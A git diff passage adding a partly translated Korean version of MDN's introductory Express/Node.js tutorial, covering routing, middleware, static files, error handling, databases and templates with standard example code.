+<ul>
+ <li>HTTP 통신 요청(Request; GET, POST, DELETE 등)에 대한 핸들러를 만든다.</li>
+ <li>템플릿에 데이터를 넣어 응답(response)을 만들기 위해 view의 렌더링 엔진과 결합(integrate)한다. </li>
+ <li>접속을 위한 포트나 응답 렌더링을 위한 템플릿 위치같은 공통 웹 어플리케이션 세팅을 한다. </li>
+ <li>핸들링 파이프라인(reqest handling pipeline) 중 필요한 곳에 추가적인 미들웨어 처리 요청을 추가한다.</li>
+</ul>
+
+<p><em>Express</em> 자체는 꽤나 최소한의 기능만 탑재하지만 개발자들이 거의 모든 웹 개발의 문제를 다루는 호환성있는 미들웨어 패키지를 만들어왔습니다. 쿠키, 세션, 사용자 로그인, URL 파라미터, <code>POST</code> 데이터, 보안 헤더와 그외 많은 것들에 대한 라이브러리들이 있습니다. 여러분은 <a href="http://expressjs.com/en/resources/middleware.html">Express Middleware</a>에서 Express 팀이 유지보수하는 미들웨어 패키지 리스트를 확인할 수 있습니다. (유명한 서드파티 패키지들을 포함).</p>
+
+<div class="note">
+<p><strong>Note:</strong> This flexibility is a double edged sword. There are middleware packages to address almost any problem or requirement, but working out the right packages to use can sometimes be a challenge. There is also no "right way" to structure an application, and many examples you might find on the Internet are not optimal, or only show a small part of what you need to do in order to develop a web application.</p>
+</div>
+
+<h2 id="유래">유래</h2>
+
+<p>노드(Node)는 2009년 리눅스 한정으로 배포 되었다. NPM은 2010년에 배포되었고, 네이티브 윈도우즈(Windows)는 2012년부터 지원하기 시작하였다. 현재 배포중인 최신 LTS 버전은 Node v8.9.3이 있고, 가장 최신 버전은 Node 9 이다. 이것은 유구한 역사를 짧게 적어본 것으로 더 알고 싶다면 <a href="https://ko.wikipedia.org/wiki/Node.js">위키페디아</a>를 참조하면 된다.</p>
+
+<p>Express는 2010년 11월 처음 배포되었고 현재는 4.16 버전이 되었다. 현재 배포 버전과의 변경사항을 알고 싶다면 <a href="https://expressjs.com/en/changelog/4x.html">changelog</a> 를 확인하면 된다. 그리고 더 자세한 역사와 릴리즈 노트는 <a href="https://github.com/expressjs/express/blob/master/History.md">GitHub</a> 를 참조하면 된다.</p>
+
+<h2 id="어떻게_NodeExpress가_유명해졌을까">어떻게 Node/Express가 유명해졌을까?</h2>
+
+<p>유명한 웹 프레임워크 쓴다는 것은 아주 중요합니다. 바로 해당 기술에 대한 지속가능성, 문서화, 추가 라이브러리, 그리고 기술 지원 자원에 대한 지표가 되기 때문입니다. </p>
+
+<p>There isn't any readily-available and definitive measurement of the popularity of server-side frameworks (although sites like <a href="http://hotframeworks.com/">Hot Frameworks</a> attempt to assess popularity using mechanisms like counting the number of GitHub projects and StackOverflow questions for each platform). A better question is whether Node and Express are "popular enough" to avoid the problems of unpopular platforms. Are they continuing to evolve? Can you get help if you need it? Is there an opportunity for you to get paid work if you learn Express?</p>
+
+<p>Based on the number of <a href="https://expressjs.com/en/resources/companies-using-express.html">high profile companies</a> that use Express, the number of people contributing to the codebase, and the number of people providing both free and paid for support, then yes, <em>Express</em> is a popular framework!</p>
+
+<h2 id="Express는_개발이_자유로울까">Express는 개발이 자유로울까?</h2>
+
+<p>Web frameworks often refer to themselves as "opinionated" or "unopinionated".</p>
+
+<p>Opinionated frameworks are those with opinions about the "right way" to handle any particular task. They often support rapid development <em>in a particular domain </em>(solving problems of a particular type) because the right way to do anything is usually well-understood and well-documented. However they can be less flexible at solving problems outside their main domain, and tend to offer fewer choices for what components and approaches they can use.</p>
+
+<p>Unopinionated frameworks, by contrast, have far fewer restrictions on the best way to glue components together to achieve a goal, or even what components should be used. They make it easier for developers to use the most suitable tools to complete a particular task, albeit at the cost that you need to find those components yourself.<br>
+ <br>
+ Express is unopinionated. You can insert almost any compatible middleware you like into the request handling chain, in almost any order you like. You can structure the app in one file or multiple files, and using any directory structure. You may sometimes feel that you have too many choices!</p>
+
+<h2 id="Express의_코드는_어떻게_생겼을까">Express의 코드는 어떻게 생겼을까?</h2>
+
+<p>In a traditional data-driven website, a web application waits for HTTP requests from the web browser (or other client). When a request is received the application works out what action is needed based on the URL pattern and possibly associated information contained in <code>POST</code> data or <code>GET</code> data. Depending on what is required it may then read or write information from a database or perform other tasks required to satisify the request. The application will then return a response to the web browser, often dynamically creating an HTML page for the browser to display by inserting the retrieved data into placeholders in an HTML template.</p>
+
+<p>Express provides methods to specify what function is called for a particular HTTP verb (<code>GET</code>, <code>POST</code>, <code>SET</code>, etc.) and URL pattern ("Route"), and methods to specify what template ("view") engine is used, where template files are located, and what template to use to render a response. You can use Express middleware to add support for cookies, sessions, and users, getting <code>POST</code>/<code>GET</code> parameters, etc. You can use any database mechanism supported by Node (Express does not define any database-related behaviour).</p>
+
+<p>The following sections explain some of the common things you'll see when working with <em>Express</em> and <em>Node</em> code.</p>
+
+<h3 id="Helloworld_Express">Helloworld Express</h3>
+
+<p>First lets consider the standard Express <a href="https://expressjs.com/en/starter/hello-world.html">Hello World</a> example (we discuss each part of this below, and in the following sections).</p>
+
+<div class="note">
+<p><strong>Tip:</strong> If you have Node and Express already installed (or if you install them as shown in the <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/development_environment">next article</a>), you can save this code in a file called <strong>app.js</strong> and run it in a command prompt by calling <code>node app.js</code>.</p>
+</div>
+
+<pre class="brush: js notranslate">var express = require('express');
+var app = express();
+
+<strong>app.get('/', function (req, res) {
+  res.send('Hello World!');
+});</strong>
+
+app.listen(3000, function () {
+  console.log('Example app listening on port 3000!');
+});
+</pre>
+
+<p>The first two lines <code>require()</code> (import) the express module and create an <a href="https://expressjs.com/en/4x/api.html#app">Express application</a>. This object, which is traditionally named <code>app</code>, has methods for routing HTTP requests, configuring middleware, rendering HTML views, registering a template engine, and modifying <a href="https://expressjs.com/en/4x/api.html#app.settings.table">application settings</a> that control how the application behaves (e.g. the environment mode, whether route definitions are case sensitive, etc.)</p>
+
+<p>The middle part of the code (the three lines starting with <code>app.get</code>) shows a <em>route definition</em>. The <code>app.get()</code> method specifies a callback function that will be invoked whenever there is an HTTP <code>GET</code> request with a path (<code>'/'</code>) relative to the site root. The callback function takes a request and a response object as arguments, and simply calls <code><a href="https://expressjs.com/en/4x/api.html#res.send">send()</a></code> on the response to return the string "Hello World!"</p>
+
+<p>The final block starts up the server on port '3000' and prints a log comment to the console. With the server running, you could go to <code>localhost:3000</code> in your browser to see the example response returned.</p>
+
+<h3 id="모듈의_생성과_불러옴Importing_and_creating_modules">모듈의 생성과 불러옴(Importing and creating modules)</h3>
+
+<p>A module is a JavaScript library/file that you can import into other code using Node's <code>require()</code> function. <em>Express</em> itself is a module, as are the middleware and database libraries that we use in our <em>Express</em> applications.</p>
+
+<p>The code below shows how we import a module by name, using the <em>Express</em> framework as an example. First we invoke the <code style="font-style: normal; font-weight: normal;">require()</code> function, specifying the name of the module as a string (<code>'express'</code>), and calling the returned object to create an <a href="https://expressjs.com/en/4x/api.html#app">Express application</a>. We can then access the properties and functions of the application object.</p>
+
+<pre class="brush: js notranslate">var express = require('express');
+var app = express();
+</pre>
+
+<p>You can also create your own modules that can be imported in the same way.</p>
+
+<div class="note">
+<p><strong>Tip:</strong> You will <em>want </em>to create your own modules, because this allows you to organise your code into managable parts — a monolithic single-file application is hard to understand and maintain. Using modules also helps you manage your namespace, because only the variables you explicitly export are imported when you use a module.</p>
+</div>
+
+<p>To make objects available outside of a module you just need to assign them to the <code>exports</code> object. For example, the <strong>square.js</strong> module below is a file that exports <code>area()</code> and <code>perimeter()</code> methods:</p>
+
+<pre class="brush: js notranslate">exports.area = function (width) { return width * width; };
+exports.perimeter = function (width) { return 4 * width; };
+</pre>
+
+<p>We can import this module using <code>require()</code>, and then call the exported method(s) as shown:</p>
+
+<pre class="brush: js notranslate">var square = require('./square'); // Here we require() the name of the file without the (optional) .js file extension
+console.log('The area of a square with a width of 4 is ' + square.area(4));</pre>
+
+<div class="note">
+<p><strong>Note:</strong> You can also specify an absolute path to the module (or a name, as we did initially).</p>
+</div>
+
+<p>If you want to export a complete object in one assignment instead of building it one property at a time, assign it to <code>module.exports</code> as shown below (you can also do this to make the root of the exports object a constructor or other function):</p>
+
+<pre class="brush: js notranslate">module.exports = {
+  area: function(width) {
+    return width * width;
+  },
+
+  perimeter: function(width) {
+    return 4 * width;
+  }
+};
+</pre>
+
+<p>For a lot more information about modules see <a href="https://nodejs.org/api/modules.html#modules_modules">Modules</a> (Node API docs).</p>
+
+<h3 id="비동기식_API의_사용">비동기식 API의 사용</h3>
+
+<p>JavaScript 코드는 완료까지 시간이 다소 소요될 수 있는 작업에 대해 동기보다 비동기 API를 자주 사용합니다. 동기 API는 다음 작업이 시작하기 전에 각 작업이 완료되어야만 합니다. 예를 들어, 다음의 로그함수들은 동기식이며 텍스트를 순서대로 콘솔에 나타낼 것입니다.(First, Second)</p>
+
+<pre class="brush: js notranslate">console.log('First');
+console.log('Second');</pre>
+
+<p>반면 비동기 API는 API가 작업을 시작하고, 즉시 반환(작업이 완료되기 전에)합니다. 작업이 완료되면 API는 추가적인 작업 수행을 위한 일부 매커니즘을 사용합니다. 예를 들어 아래의 코드는  "Second, First"를 출력합니다. 그   이유는 <code>setTimeout()</code> 메서드가 먼저 호출되고 즉시 반환되더라도, 작업이 몇 초 동안 완료되지 않기 때문입니다.</p>
+
+<pre class="brush: js notranslate">setTimeout(function() {
+   console.log('First');
+   }, 3000);
+console.log('Second');
+</pre>
+
+<p>Node는 싱글 스레드 이벤트 기반 환경이기 때문에 non-blocking 비동기 API는 브라우저보다 Node에서 훨씬 더 중요합니다.</p>
+
+<p>'싱글 스레드'는 서버에 모든 요청이 별도의 프로세스로 생성되지 않고 동일한 스레드에서 실행되는 것을 의미합니다. 이 모델은 속도와 서버 리소스 측면에서 아주 효율적이지만, 만약 특정 함수가 완료되는데에 오랜 시간이 걸리는 동기 메서드를 호출하는 함수가 있다면 현재 요청 뿐만 아니라 웹 어플리케이션에서 다른 요청이 처리되는 것도 차단합니다.</p>
+
+<p>비동기 API가 완료되었음을 어플리케이션에 알리는 방법은 여러가지가 있습니다. 가장 일반적인 방법은 비동기 API를 호출시 작업이 완료되면 다시 호출되는 콜백함수를 이용하는 것이며, 위의 예제에서 사용된 방식입니다.</p>
+
+<div class="note">
+<p><strong>Tip:</strong> 순서대로 수행해야하는 종속적인 비동기 작업들이 있을 경우, 콜백을 사용하는 것은 꽤 복잡할 수 있습니다. 중첩된 여러 단계의 콜백이 생성되기 때문입니다. 이 문제는 흔히 'callback hell'이라고 일컬어집니다. 이 문제는 good coding practices(<a href="http://callbackhell.com/">http://callbackhell.com/</a> 참고), <a href="https://www.npmjs.com/package/async">async</a>와 같은 모듈의 사용, <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">Promises</a>와 같은 ES6 기능을 사용함으로써 개선될 수 있습니다.</p>
+</div>
+
+<div class="note">
+<p><strong>Note:</strong> Node와 Express의 일반적인 규칙은 error-first callbacks을 사용하는 것입니다. 이 규칙에서 콜백 함수의 첫번 째 값은 에러값이고, 다음 인자에는 성공 데이터가 포함됩니다. 이 방법에 대한 좋은 설명은 이 블로그에서 확인할 수 있습니다.:: <a href="http://fredkschott.com/post/2014/03/understanding-error-first-callbacks-in-node-js/ ">The Node.js Way - Understanding Error-First Callbacks</a> (fredkschott.com).</p>
+</div>
+
+<h3 id="라우트_핸들러의_사용">라우트 핸들러의 사용</h3>
+
+<p>In our <em>Hello World</em> Express example see above we defined a (callback) route handler function for HTTP <code>GET</code> requests to the site root (<code>'/'</code>).</p>
+
+<pre class="brush: js notranslate">app.<strong>get</strong>('/', function (req, res) {
+  res.send('Hello World!');
+});
+</pre>
+
+<p>The callback function takes a request and a response object as arguments. In this case the method simply calls <code><a href="https://expressjs.com/en/4x/api.html#res.send">send()</a></code> on the response to return the string "Hello World!" There are a <a href="https://expressjs.com/en/guide/routing.html#response-methods">number of other response methods</a> for ending the request/response cycle, for example you could call <code><a href="https://expressjs.com/en/4x/api.html#res.json">res.json()</a></code> to send a JSON response or <code><a href="https://expressjs.com/en/4x/api.html#res.sendFile">res.sendFile()</a></code> to send a file.</p>
+
+<div class="note">
+<p><strong>JavaScript tip:</strong> You can use any argument names you like in the callback functions; when the callback is invoked the first argument will always be the request and the second will always be the response. It makes sense to name them such that you can identify the object you're working with in the body of the callback.</p>
+</div>
+
+<p>The <em>Express application</em> object also provides methods to define route handlers for all the other HTTP verbs, which are mostly used in exactly the same way: <code>post()</code>, <code>put()</code>, <code>delete()</code>, <code>options()</code>, <code>trace()</code>, <code>copy()</code>, <code>lock()</code>, <code>mkcol()</code>, <code>move()</code>, <code>purge()</code>, <code>propfind()</code>, <code>proppatch()</code>, <code>unlock()</code>, <code>report()</code>, ​​​​​​ <code>mkactivity()</code>, <code>checkout()</code>, <code>merge()</code>, <code>m-</code><code>search()</code>, <code>notify()</code>, <code>subscribe()</code>, <code>unsubscribe()</code>, <code>patch()</code>, <code>search()</code>, and <code>connect()</code>.</p>
+
+<p>There is a special routing method, <code>app.all()</code>, which will be called in response to any HTTP method. This is used for loading middleware functions at a particular path for all request methods. The following example (from the Express documentation) shows a handler that will be executed for requests to <code>/secret</code> irrespective of the HTTP verb used (provided it is supported by the <a href="https://nodejs.org/api/http.html#http_http_methods">http module</a>).</p>
+
+<pre class="brush: js notranslate">app.all('/secret', function (req, res, next) {
+  console.log('Accessing the secret section ...')
+  next() // pass control to the next handler
+})</pre>
+
+<p>Routes allow you to match particular patterns of characters in a URL, and extract some values from the URL and pass them as parameters to the route handler (as attributes of the request object passed as a parameter).</p>
+
+<p>Often it is useful to group route handlers for a particular part of a site together and access them using a common route-prefix (e.g. a site with a Wiki might have all wiki-related routes in one file and have them accessed with a route prefix of <em>/wiki/</em>). In <em>Express</em> this is achieved by using the <code><a href="http://expressjs.com/en/guide/routing.html#express-router">express.Router</a></code> object. For example, we can create our wiki route in a module named <strong>wiki.js</strong>, and then export the <code>Router</code> object, as shown below:</p>
+
+<pre class="brush: js notranslate">// wiki.js - Wiki route module
+
+var express = require('express')
+var router = express.Router()
+
+// Home page route
+router.get('/', function (req, res) {
+  res.send('Wiki home page')
+})
+
+// About page route
+router.get('/about', function (req, res) {
+  res.send('About this wiki')
+})
+
+module.exports = router
+</pre>
+
+<div class="note">
+<p><strong>Note:</strong> Adding routes to the <code>Router</code> object is just like adding routes to the <code>app</code> object (as shown previously).</p>
+</div>
+
+<p>To use the router in our main app file we would then <code>require()</code> the route module (<strong>wiki.js</strong>), then call <code>use()</code> on the <em>Express</em> application to add the Router to the middleware handling path. The two routes will then be accessible from <code style="font-style: normal; font-weight: normal;">/wiki/</code> and <code style="font-style: normal; font-weight: normal;">/wiki/about/</code>.</p>
+
+<pre class="brush: js notranslate">var wiki = require('./wiki.js')
+// ...
+app.use('/wiki', wiki)</pre>
+
+<p>We'll show you a lot more about working with routes, and in particular about using the <code>Router</code>, later on in the linked section<a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Express_Nodejs/routes"> Routes and controllers .</a></p>
+
+<h3 id="미들웨어의_사용">미들웨어의 사용</h3>
+
+<p>미들웨어는 정적 파일 제공에서 오류 처리, HTTP 응답 압축에 이르기까지 Express 앱에서 광범위하게 사용됩니다. 라우트 함수는 <font><font>HTTP 클라이언트에 일부 응답을 반환하여 HTTP 요청-응답주기를 종료하는 반면, 미들웨어 함수는 </font></font><em><font><font>일반적으로</font></font></em><font><font> 요청 또는 응답에 대해 일부 작업을 수행 한 다음 "스택"(이는 미들웨어 혹은 라우트 핸들러일 수 있습니다.)에서 다음 함수를 호출합니다.  미들웨어가 호출되는 순서는 앱 개발자에게 달려있습니다.</font></font></p>
+
+<div class="note">
+<p><strong>Note:</strong> <font><font>미들웨어는 모든 작업을 수행하고, 코드를 실행하고, 요청 및 응답 객체를 변경할 수 </font></font><em><font><font>있으며, 요청-응답주기를 종료</font></font></em><font><font> 할 </font><em><font>수도</font></em><font> 있습니다. 만약 주기가 종료되지 않으면, 다음 미들웨어 함수의 제어를 위해 <code>next()</code>를 호출해야합니다.( 혹은 요청이 중단된 상태로 유지될 것입니다.)</font></font></p>
+</div>
+
+<p><font><font>대부분의 앱은 </font><font>쿠키, 세션, 사용자 인증,<code> POST</code>요청 </font><font>및 JSON 데이터 접근</font><font> </font><font>, logging 등과 </font><font>같은 일반적인 웹 개발 작업을 단순화하기 위해<em>서드파티</em></font></font><font><font> 미들웨어를 사용합니다 </font><font><a href="http://expressjs.com/en/resources/middleware.html" rel="noopener">. Express 팀에서 관리하는 미들웨어 패키지 목록을</a><font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);"> </span></font></font></font><font><font>이 곳에서 찾을 수 있습니다 </font><font>( 다른 인기있는 서드파티 패키지도 포함). </font><font>다른 Express 패키지는 NPM 패키지 관리자에서 사용할 수 있습니다.</font></font></p>
+
+<p><font><font>서드파티 미들웨어를 사용하려면 먼저 NPM을 사용하여 앱에 설치해야합니다. </font><font>예를 들어 </font></font><a href="http://expressjs.com/en/resources/middleware/morgan.html" rel="noopener"><font><font>morgan</font></font></a><font><font> HTTP 요청 logger 미들웨어 </font><font>를 설치하려면 다음과 </font><font>같이 진행합니다.</font></font></p>
+
+<pre class="brush: bash notranslate"><code>$ npm install morgan
+</code></pre>
+
+<p>그런 다음 <em>Express application object에 </em>use()를 호출해서 스택에 이 미들웨어를 추가합니다.</p>
+
+<pre class="brush: js notranslate">var express = require('express');
+<strong>var logger = require('morgan');</strong>
+var app = express();
+<strong>app.use(logger('dev'));</strong>
+...</pre>
+
+<div class="note">
+<p><strong>Note:</strong> <font>미들웨어 및 라우팅 함수는 선언된 순서대로 호출됩니다. </font><font>일부 미들웨어의 경우 순서가 중요합니다 (예를 들어 세션 미들웨어가 쿠키 미들웨어에 의존하는 경우, 쿠키 핸들러를 먼저 추가해야합니다). 거의 항상 라우트를 설정하기 전에 미들웨어가 호출되거나,  미들웨어로 인해 추가된 기능에 라우트 핸들러가  접근할 수 없습니다.</font></p>
+</div>
+
+<p><font><font>당신은 자신만의 미들웨어 함수를 작성할 수 있으며, 그렇게 해야 할 가능성이 높습니다 (에러 처리 코드를 생성하는 경우에만 해당). 미들웨어 함수와 라우트 핸들러 콜백 </font><font>의 </font></font><strong><font><font>유일한</font></font></strong><font><font> 차이점은 미들웨어 함수에 세 번째 인자로 미들웨어 함수가 </font></font><font><font>요청 주기를 완료하지 않을 때 호출되는 <code>next</code>가 있다는 것입니다. (미들웨어 함수가 호출 될 때 여기에는 반드시 호출되는 <em>next</em></font></font><font><font> 함수가 포함됩니다.).</font></font></p>
+
+<p><font><font>당신이 모든 응답 혹은  특정 HTTP 동사(</font></font><code>GET</code><font><font>, </font></font><code>POST</code> 등)에 미들웨어를 적용할지 여부에 따라<code>app.use()</code><font><font>또는 </font></font><code>app.add()</code>와 함께<font><font> 프로세싱 체인에 미들웨어 기능을 추가 할 수 있습니다. 두 경우 모두 라우트를 동일하게 지정하지만 </font></font><strong><font><font>app.use ()</font></font></strong><font><font> 호출시 라우트는 선택 사항 </font><font>입니다.</font></font></p>
+
+<p><font><font>아래의  예제는 두 가지 방법을 사용하고, 경로를 사용하거나 사용하지 않고 미들웨어 기능을 추가하는 방법을 보여줍니다.</font></font></p>
+
+<pre class="brush: js notranslate">var express = require('express')
+var app = express()
+
+// An example middleware function
+var a_middleware_function = function(req, res, <em>next</em>) {
+  //... perform some operations
+  next(); //Call next() so Express will call the next middleware function in the chain.
+}
+
+// Function added with use() for all routes and verbs
+app.use(a_middleware_function)
+
+//Function added with use() for a specific route
+app.use('/someroute', a_middleware_function)
+
+// A middleware function added for a specific HTTP verb and route
+app.get('/', a_middleware_function )
+
+app.listen(3000)</pre>
+
+<div class="note">
+<p><strong>JavaScript Tip:</strong> <font>위에서 우리는 미들웨어 함수를 별도로 선언 한 다음 그것을 콜백으로 설정합니다. </font><font>이전 라우트 핸들러 함수에서는 우리는 콜백 함수가 사용될 때 선언했습니다. </font><font>JavaScript에서는 두 방법 모두 유효합니다.</font></p>
+</div>
+
+<p><font><font>Express 공식 문서에는 </font><font>Express 미들웨어 </font></font><a href="https://expressjs.com/en/guide/using-middleware.html" rel="noopener"><font><font>사용</font></font></a><font><font> 및 </font></font><a href="http://expressjs.com/en/guide/writing-middleware.html" rel="noopener"><font><font>작성</font></font></a><font><font> 에 대한 훨씬 더 우수한 자료들이 </font><font>있습니다.</font></font></p>
+
+<h3 id="저장된_파일을_서버화하기">저장된 파일을 서버화하기</h3>
+
+<p>You can use the <a href="http://expressjs.com/en/4x/api.html#express.static">express.static</a> middleware to serve static files, including your images, CSS and JavaScript (<code>static()</code> is the only middleware function that is actually <strong>part</strong> of <em>Express</em>). For example, you would use the line below to serve images, CSS files, and JavaScript files from a directory named '<strong>public'</strong> at the same level as where you call node:</p>
+
+<pre class="brush: js notranslate">app.use(express.static('public'))
+</pre>
+
+<p>Any files in the public directory are served by adding their filename (<em>relative</em> to the base "public" directory) to the base URL. So for example:</p>
+
+<pre class="notranslate"><code>http://localhost:3000/images/dog.jpg
+http://localhost:3000/css/style.css
+http://localhost:3000/js/app.js
+http://localhost:3000/about.html
+</code></pre>
+
+<p>You can call <code>static()</code> multiple times to serve multiple directories. If a file cannot be found by one middleware function then it will simply be passed on to the subsequent middleware (the order that middleware is called is based on your declaration order).</p>
+
+<pre class="brush: js notranslate">app.use(express.static('public'))
+app.use(express.static('media'))
+</pre>
+
+<p>You can also create a virtual prefix for your static URLs, rather than having the files added to the base URL. For example, here we <a href="http://expressjs.com/en/4x/api.html#app.use">specify a mount path</a> so that the files are loaded with the prefix "/media":</p>
+
+<pre class="brush: js notranslate">app.use('/media', express.static('public'))
+</pre>
+
+<p>Now, you can load the files that are in the <code>public</code> directory from the <code>/media</code> path prefix.</p>
+
+<pre class="notranslate"><code>http://localhost:3000/media/images/dog.jpg
+http://localhost:3000/media/video/cat.mp4
+http://localhost:3000/media/cry.mp3</code>
+</pre>
+
+<p>For more information, see <a href="Serving static files in Express">Serving static files in Express</a>.</p>
+
+<h3 id="핸들링_에러">핸들링 에러</h3>
+
+<p>Errors are handled by one or more special middleware functions that have four arguments, instead of the usual three: <code>(err, req, res, next)</code>. For example:</p>
+
+<pre class="brush: js notranslate">app.use(function (err, req, res, next) {
+  console.error(err.stack)
+  res.status(500).send('Something broke!')
+})
+</pre>
+
+<p>These can return any content required, but must be called after all other <code>app.use()</code> and routes calls so that they are the last middleware in the request handling process!</p>
+
+<p>Express comes with a built-in error handler, which takes care of any remaining errors that might be encountered in the app. This default error-handling middleware function is added at the end of the middleware function stack. If you pass an error to <code>next()</code> and you do not handle it in an error handler, it will be handled by the built-in error handler; the error will be written to the client with the stack trace.</p>
+
+<div class="note">
+<p><strong>Note:</strong> The stack trace is not included in the production environment. To run it in production mode you need to set the the environment variable <code>NODE_ENV</code> to '<code>production'</code>.</p>
+</div>
+
+<div class="note">
+<p><strong>Note:</strong> HTTP404 and other "error" status codes are not treated as errors. If you want to handle these, you can add a middleware function to do so. For more information see the <a href="http://expressjs.com/en/starter/faq.html#how-do-i-handle-404-responses">FAQ</a>.</p>
+</div>
+
+<p>For more information see <a href="http://expressjs.com/en/guide/error-handling.html">Error handling</a> (Express docs).</p>
+
+<h3 id="데이터베이스의_사용">데이터베이스의 사용</h3>
+
+<p><em>Express</em> apps can use any database mechanism supported by <em>Node</em> (<em>Express</em> itself doesn't define any specific additional behaviour/requirements for database management). There are many options, including PostgreSQL, MySQL, Redis, SQLite, MongoDB, etc.</p>
+
+<p>In order to use these you have to first install the database driver using NPM. For example, to install the driver for the popular NoSQL MongoDB you would use the command:</p>
+
+<pre class="brush: bash notranslate"><code>$ npm install mongodb
+</code></pre>
+
+<p>The database itself can be installed locally or on a cloud server. In your Express code you require the driver, connect to the database, and then perform create, read, update, and delete (CRUD) operations. The example below (from the Express documentation) shows how you can find "mammal" records using MongoDB.</p>
+
+<pre class="brush: js notranslate">var MongoClient = require('mongodb').MongoClient
+
+MongoClient.connect('mongodb://localhost:27017/animals', function (err, db) {
+  if (err) throw err
+
+  db.collection('mammals').find().toArray(function (err, result) {
+    if (err) throw err
+
+    console.log(result)
+  })
+})</pre>
+
+<p>Another popular approach is to access your database indirectly, via an Object Relational Mapper ("ORM"). In this approach you define your data as "objects" or "models" and the ORM maps these through to the underlying database format. This approach has the benefit that as a developer you can continue to think in terms of JavaScript objects rather than database semantics, and that there is an obvious place to perform validation and checking of incoming data. We'll talk more about databases in a later article.</p>
+
+<p>For more information see <a href="https://expressjs.com/en/guide/database-integration.html">Database integration</a> (Express docs).</p>
+
+<h3 id="데이터_랜더링시각화">데이터 랜더링(시각화)</h3>
+
+<p>Template engines (referred to as "view engines" by <em>Express</em>) allow you to specify the <em>structure</em> of an output document in a template, using placeholders for data that will be filled in when a page is generated. Templates are often used to create HTML, but can also create other types of document. Express has support for <a href="https://github.com/expressjs/express/wiki#template-engines">a number of template engines</a>, and there is a useful comparison of the more popular engines here: <a href="https://strongloop.com/strongblog/compare-javascript-templates-jade-mustache-dust/">Comparing JavaScript Templating Engines: Jade, Mustache, Dust and More</a>.</p>
+
+<p>In your application settings code you set the template engine to use and the location where Express should look for templates using the 'views' and 'view engines' settings, as shown below (you will also have to install the package containing your template library too!)</p>
+
+<pre class="brush: js notranslate">var express = require('express');
+var app = express();
+
+// Set directory to contain the templates ('views')
+app.set('views', path.join(__dirname, 'views'));
+
+// Set view engine to use, in this case 'some_template_engine_name'
+app.set('view engine', 'some_template_engine_name');
+</pre>
+
+<p>The appearance of the template will depend on what engine you use. Assuming that you have a template file named "index.&lt;template_extension&gt;" that contains placeholders for data variables named 'title' and "message", you would call <code><a href="http://expressjs.com/en/4x/api.html#res.render">Response.render()</a></code> in a route handler function to create and send the HTML response:</p>
+
+<pre class="brush: js notranslate">app.get('/', function (req, res) {
+  res.render('index', { title: 'About dogs', message: 'Dogs rock!' })
+})</pre>
+
+<p>For more information see <a href="http://expressjs.com/en/guide/using-template-engines.html">Using template engines with Express</a> (Express docs).</p>
+
+<h3 id="파일구조">파일구조</h3>
+
+<p>Express makes no assumptions in terms of structure or what components you use. Routes, views, static files, and other application-specific logic can live in any number of files with any directory structure. While it is perfectly possible to have the whole <em>Express</em> application in one file, typically it makes sense to split your application into files based on function (e.g. account management, blogs, discussion boards) and architectural problem domain (e.g. model, view or controller if you happen to be using an <a href="/en-US/docs/Web/Apps/Fundamentals/Modern_web_app_architecture/MVC_architecture">MVC architecture</a>).</p>
+
+<p>In a later topic we'll use the <em>Express Application Generator</em>, which creates a modular app skeleton that we can easily extend for creating web applications.</p>
+
+<ul>
+</ul>
+
+<h2 id="요약">요약</h2>
+
+<p id="Congratulations_you've_completed_the_first_step_in_your_ExpressNode_journey!_You_should_now_understand_Express_and_Node's_main_benefits_and_roughly_what_the_main_parts_of_an_Express_app_might_look_like_(routes_middleware_error_handling_and_template_code)._You_should_also_understand_that_with_Express_being_an_unopinionated_framework_the_way_you_pull_these_parts_together_and_the_libraries_that_you_use_are_largely_up_to_you!"><span style="color: #3b3c40; font-size: 14px; font-weight: normal; line-height: 1.5;">Congratulations, you've completed the first step in your Express/Node journey! You should now understand Express and Node's main benefits, and roughly what the main parts of an Express app might look like (routes, middleware, error handling, and template code). You should also understand that with Express being an unopinionated framework, the way you pull these parts together and the libraries that you use are largely up to you!</span></p>
+
+<p>Of course Express is deliberately a very lightweight web application framework, so much of its benefit and potential comes from third party libraries and features. We'll look at those in more detail in the following articles. In our next article we're going to look at setting up a Node development environment, so that you can start seeing some Express code in action.</p>
+
+<h2 id="더보기">더보기</h2>
+
+<ul>
+ <li><a href="https://nodejs.org/api/modules.html#modules_modules">Modules</a> (Node API docs)</li>
+ <li><a href="https://expressjs.com/">Express</a> (home page)</li>
+ <li><a href="http://expressjs.com/en/starter/basic-routing.html">Basic routing</a> (Express docs)</li>
+ <li><a href="http://expressjs.com/en/guide/routing.html">Routing guide</a> (Express docs)</li>
+ <li><a href="http://expressjs.com/en/guide/using-template-engines.html">Using template engines with Express</a> (Express docs)</li>
+ <li><a href="https://expressjs.com/en/guide/using-middleware.html">Using middleware</a> (Express docs)</li>
+ <li><a href="http://expressjs.com/en/guide/writing-middleware.html">Writing middleware for use in Express apps</a> (Express docs)</li>
+ <li><a href="https://expressjs.com/en/guide/database-integration.html">Database integration</a> (Express docs)</li>
+ <li><a href="Serving static files in Express">Serving static files in Express</a> (Express docs)</li>
+ <li><a href="http://expressjs.com/en/guide/error-handling.html">Error handling</a> (Express docs)</li>
+</ul>
+
+<div>{{NextMenu("Learn/Server-side/Express_Nodejs/development_environment", "Learn/Server-side/Express_Nodejs")}}</div>
diff --git a/files/ko/learn/server-side/express_nodejs/mongoose/index.html b/files/ko/learn/server-side/express_nodejs/mongoose/index.html
new file mode 100644
index 0000000000..07c0f1e422
--- /dev/null
+++ b/files/ko/learn/server-side/express_nodejs/mongoose/index.html
@@ -0,0 +1,792 @@
+---
+title: 'Express Tutorial Part 3: Using a Database (with Mongoose)'
+slug: Learn/Server-side/Express_Nodejs/mongoose
+translation_of: Learn/Server-side/Express_Nodejs/mongoose
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/Server-side/Express_Nodejs/skeleton_website", "Learn/Server-side/Express_Nodejs/routes", "Learn/Server-side/Express_Nodejs")}}</div>
+
